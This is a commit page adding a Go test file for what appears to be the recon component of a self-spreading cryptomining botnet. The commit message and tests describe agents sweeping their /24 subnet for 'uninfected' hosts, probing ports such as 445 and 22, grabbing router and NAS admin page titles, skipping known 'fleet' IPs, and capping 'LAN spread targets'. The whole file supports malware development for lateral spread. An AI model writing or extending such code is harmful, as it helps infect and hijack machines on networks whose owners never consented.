Add agent-driven subnet recon sweeps for uninfected LAN hosts.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Agents scan capped /24 targets on auth and on a server policy interval, skip known fleet IPs, and batch subnet_recon_report over WebSocket.
This commit is contained in:
107
agent/deploy/subnet_recon_test.go
Normal file
107
agent/deploy/subnet_recon_test.go
Normal file
@@ -0,0 +1,107 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestRunSubnetReconSkipsFleetAndLocalIPs(t *testing.T) {
|
||||
prevProbe := probePortsFn
|
||||
defer func() { probePortsFn = prevProbe }()
|
||||
probePortsFn = func(host string, ports []int) []int {
|
||||
if host == "10.0.0.50" || host == "10.0.0.99" {
|
||||
return []int{445}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
hosts := runSubnetReconTargets("agent-1", []string{"10.0.0.50"}, []string{"10.0.0.50"})
|
||||
if len(hosts) != 0 {
|
||||
t.Fatalf("expected fleet IP to be skipped, got %+v", hosts)
|
||||
}
|
||||
|
||||
hosts = runSubnetReconTargets("agent-1", nil, []string{"10.0.0.99"})
|
||||
if len(hosts) != 1 || hosts[0].IP != "10.0.0.99" {
|
||||
t.Fatalf("expected uninfected host report, got %+v", hosts)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunSubnetReconReportsUninfectedHost(t *testing.T) {
|
||||
prevProbe := probePortsFn
|
||||
prevTitle := fetchHTTPTitleFn
|
||||
defer func() {
|
||||
probePortsFn = prevProbe
|
||||
fetchHTTPTitleFn = prevTitle
|
||||
}()
|
||||
probePortsFn = func(host string, ports []int) []int {
|
||||
if host == "192.168.5.20" {
|
||||
return []int{22, 80}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
fetchHTTPTitleFn = func(host string, port int) string {
|
||||
if host == "192.168.5.20" && port == 80 {
|
||||
return "Router Admin"
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
hosts := runSubnetReconTargets("reporter-7", nil, []string{"192.168.5.20"})
|
||||
if len(hosts) != 1 {
|
||||
t.Fatalf("hosts=%+v", hosts)
|
||||
}
|
||||
h := hosts[0]
|
||||
if h.IP != "192.168.5.20" || h.ReporterAgentID != "reporter-7" || h.Status != subnetReconStatusUninfected {
|
||||
t.Fatalf("unexpected host: %+v", h)
|
||||
}
|
||||
if len(h.OpenPorts) != 2 || h.OpenPorts[0] != 22 || h.OpenPorts[1] != 80 {
|
||||
t.Fatalf("open_ports=%v", h.OpenPorts)
|
||||
}
|
||||
if h.HTTPTitle != "Router Admin" {
|
||||
t.Fatalf("http_title=%q", h.HTTPTitle)
|
||||
}
|
||||
if h.LastSeen == "" {
|
||||
t.Fatal("expected last_seen timestamp")
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunSubnetReconIgnoresHostsWithNoOpenPorts(t *testing.T) {
|
||||
prevProbe := probePortsFn
|
||||
defer func() { probePortsFn = prevProbe }()
|
||||
probePortsFn = func(host string, ports []int) []int { return nil }
|
||||
|
||||
hosts := runSubnetReconTargets("agent-1", nil, []string{"10.0.0.10", "10.0.0.11"})
|
||||
if len(hosts) != 0 {
|
||||
t.Fatalf("expected no hosts, got %+v", hosts)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseHTTPTitle(t *testing.T) {
|
||||
body := "<html><head><title> NAS Panel </title></head></html>"
|
||||
got := ParseHTTPTitleForTest(body)
|
||||
if got != "NAS Panel" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUpdateSubnetReconPolicyIntervalDefault(t *testing.T) {
|
||||
ResetSubnetReconForTest()
|
||||
UpdateSubnetReconPolicy(true, 0, "agent-a", []string{"10.0.0.1"})
|
||||
enabled, interval, agentID, fleetIPs := subnetReconPolicySnapshot()
|
||||
if !enabled || interval != DefaultSubnetReconIntervalMin || agentID != "agent-a" {
|
||||
t.Fatalf("enabled=%v interval=%d agent=%q", enabled, interval, agentID)
|
||||
}
|
||||
if len(fleetIPs) != 1 || fleetIPs[0] != "10.0.0.1" {
|
||||
t.Fatalf("fleetIPs=%v", fleetIPs)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDiscoverLANSpreadTargetsRespectsReconCap(t *testing.T) {
|
||||
prevProbe := probePortsFn
|
||||
defer func() { probePortsFn = prevProbe }()
|
||||
probePortsFn = func(host string, ports []int) []int { return nil }
|
||||
|
||||
targets := DiscoverLANSpreadTargets(999)
|
||||
if len(targets) > MaxSubnetScanHosts {
|
||||
t.Fatalf("DiscoverLANSpreadTargets ignored cap: got %d want ≤ %d", len(targets), MaxSubnetScanHosts)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user